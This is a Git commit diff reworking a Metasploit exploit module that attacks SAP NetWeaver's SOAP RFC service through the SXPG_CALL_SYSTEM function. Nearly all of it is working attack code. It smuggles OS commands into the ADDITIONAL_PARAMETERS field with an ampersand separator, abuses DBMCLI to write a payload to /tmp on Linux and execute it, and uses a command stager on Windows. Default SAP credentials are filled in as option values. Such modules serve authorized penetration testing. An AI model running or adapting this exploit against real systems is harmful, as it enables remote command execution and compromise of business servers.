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Clean up sap_soap_rfc_sxpg_call_system_exec and make it multi platform

unstable
jvazquez-r7 2013-05-07 17:03:10 -05:00
parent 76f6d9f130
commit 24bad9c15c
1 changed files with 137 additions and 63 deletions
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198
modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb
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@ -25,29 +25,58 @@
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking
Rank = GreatRanking
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
def initialize
super(
'Name' => 'SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution',
'Name' => 'SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution',
'Description' => %q{
This module makes use of the SXPG_CALL_SYSTEM Remote Function Call, through the
use of the /sap/bc/soap/rfc SOAP service to execute OS commands as configured in
the SM69 transaction.
},
This module abuses the SAP NetWeaver SXPG_CALL_SYSTEM function, on the SAP SOAP
RFC Service, to execute remote commands. This module needs SAP credentials with
privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested
successfully on Windows 2008 64 bits and Linux 64 bits platforms.
},
'References' =>
[
[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]
],
'DisclosureDate' => 'March 26 2013',
'Platform' => ['windows'],
'Targets' => [['Windows Universal',{'Arch' => ARCH_X64,'Platform' => 'win'}]],
'DisclosureDate' => 'Mar 26 2013',
'Platform' => ['win', 'unix'],
'Targets' => [
[ 'Linux',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
#'Payload' =>
#{
#'DisableNops' => true,
#'Space' => 232,
#'Compat' =>
#{
#'PayloadType' => 'cmd',
#'RequiredCmd' => 'perl ruby',
#}
#}
}
],
[ 'Windows x64',
{
'Arch' => ARCH_X86_64,
'Platform' => 'win'
}
]
],
'DefaultTarget' => 0,
'Privileged' => true,
'Author' =>['nmonkee'],
'Privileged' => false,
'Author' =>
[
'nmonkee'
],
'License' => MSF_LICENSE
)
register_options(
@ -55,72 +84,117 @@ class Metasploit4 < Msf::Exploit::Remote
Opt::RPORT(8000),
OptString.new('CLIENT', [true, 'SAP Client', '001']),
OptString.new('USERNAME', [true, 'Username', 'SAP*']),
OptString.new('PASSWORD', [true, 'Password', '06071992']),
OptString.new('CMD', [true, 'SM69 command to be executed', nil]),
OptEnum.new('OS', [true, 'SM69 Target OS','ANYOS',['ANYOS','Windows NT']])
OptString.new('PASSWORD', [true, 'Password', '06071992'])
], self.class)
register_advanced_options(
[
OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', 250]),
OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments (Windows Target)', 250]),
], self.class)
end
def send_soap_request(data)
res = send_request_cgi({
'uri' => '/sap/bc/soap/rfc',
'method' => 'POST',
'data' => data,
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
'ctype' => 'text/xml; charset=UTF-8',
'headers' => {
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
},
'vars_get' => {
'sap-client' => datastore['CLIENT'],
'sap-language' => 'EN'
}
})
return res
end
def build_soap_request(command, sap_command, sap_os)
data = "<?xml version=\"1.0\" encoding=\"utf-8\" ?>"
data << "<env:Envelope xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:env=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">"
data << "<env:Body>"
data << "<n1:SXPG_CALL_SYSTEM xmlns:n1=\"urn:sap-com:document:sap:rfc:functions\" env:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
data << "<ADDITIONAL_PARAMETERS>#{command}</ADDITIONAL_PARAMETERS>"
data << "<COMMANDNAME>#{sap_command}</COMMANDNAME>"
data << "<OPERATINGSYSTEM>#{sap_os}</OPERATINGSYSTEM>"
data << "<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>"
data << "</n1:SXPG_CALL_SYSTEM>"
data << "</env:Body>"
data << "</env:Envelope>"
return data
end
def check
data = rand_text_alphanumeric(4 + rand(4))
res = send_soap_request(data)
if res and res.code == 500 and res.body =~ /faultstring/
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def exploit
linemax = datastore['PAYLOAD_SPLIT']
print_status("Using custom payload size of #{linemax}") if linemax != 250
print_status("[SAP] #{rhost}:#{rport} - sending SOAP SXPG_COMMAND_EXECUTE request")
execute_cmdstager({ :delay => 0.35, :linemax => linemax })
handler(nil)
if target.name =~ /Windows/
linemax = datastore['PAYLOAD_SPLIT']
vprint_status("#{rhost}:#{rport} - Using custom payload size of #{linemax}") if linemax != 250
print_status("#{rhost}:#{rport} - Sending SOAP SXPG_COMMAND_EXECUTE request")
execute_cmdstager({ :delay => 0.35, :linemax => linemax })
elsif target.name =~ /Linux/
file = rand_text_alphanumeric(5)
stage_one = create_unix_payload(1,file)
print_status("#{rhost}:#{rport} - Dumping the payload to /tmp/#{file}...")
res = send_soap_request(stage_one)
if res and res.code == 200 and res.body =~ /External program terminated/
print_good("#{rhost}:#{rport} - Payload dump was successful")
else
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Payload dump failed")
end
stage_two = create_unix_payload(2,file)
print_status("#{rhost}:#{rport} - Executing /tmp/#{file}...")
send_soap_request(stage_two)
end
end
def create_unix_payload(stage, file)
command = ""
if target.name =~ /Linux/
if stage == 1
my_payload = payload.encoded.gsub(" ","\t")
my_payload.gsub!("&","&amp;")
my_payload.gsub!("<","&lt;")
command = "-o /tmp/" + file + " -n pwnie" + "\n!"
command << my_payload
command << "\n"
elsif stage == 2
command = "-ic /tmp/" + file
end
end
return build_soap_request(command.to_s, "DBMCLI", "ANYOS")
end
def execute_command(cmd, opts)
command = cmd.gsub(/&/,'&amp;')
os = datastore['OS']
data = '<?xml version="1.0" encoding="utf-8" ?>'
data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
data << '<env:Body>'
data << '<n1:SXPG_CALL_SYSTEM xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">'
data << '<ADDITIONAL_PARAMETERS>&amp;' + command.to_s + '</ADDITIONAL_PARAMETERS>'
data << '<COMMANDNAME>' + datastore['CMD'] + '</COMMANDNAME>'
data << '<OPERATINGSYSTEM>' + os +'</OPERATINGSYSTEM>'
data << '<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>'
data << '</n1:SXPG_CALL_SYSTEM>'
data << '</env:Body>'
data << '</env:Envelope>'
user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
command = cmd.gsub(/&/, "&amp;")
command.gsub!(/%TEMP%\\/, "")
data = build_soap_request("&amp;#{command}", "LIST_DB2DUMP", "ANYOS")
begin
res = send_request_raw({
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
'method' => 'POST',
'data' => data,
'headers' =>{
'Content-Length' => data.size.to_s,
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
'Authorization' => 'Basic ' + user_pass,
'Content-Type' => 'text/xml; charset=UTF-8'
}
}, 45)
if res and res.code != 500 and res.code != 200
# to do - implement error handlers for each status code, 404, 301, etc.
print_error("[SAP] #{rhost}:#{rport} - something went wrong!")
return
elsif res and res.body =~ /faultstring/
error = res.body.scan(%r{<faultstring>(.*?)</faultstring>})
0.upto(error.length-1) do |i|
print_error("[SAP] #{rhost}:#{rport} - error #{error[i]}")
end
return
elsif res and res.code == 200
res = send_soap_request(data)
if res and res.code == 200
return
else
print_error("[SAP] #{rhost}:#{rport} - Unknown error")
return
if res and res.body =~ /faultstring/
error = res.body.scan(%r{<faultstring>(.*?)</faultstring>})
0.upto(error.length-1) do |i|
vprint_error("#{rhost}:#{rport} - Error #{error[i]}")
end
end
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Error injecting command")
end
rescue ::Rex::ConnectionError
print_error("[SAP] #{rhost}:#{rport} - Unable to connect")
return
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Unable to connect")
end
end
end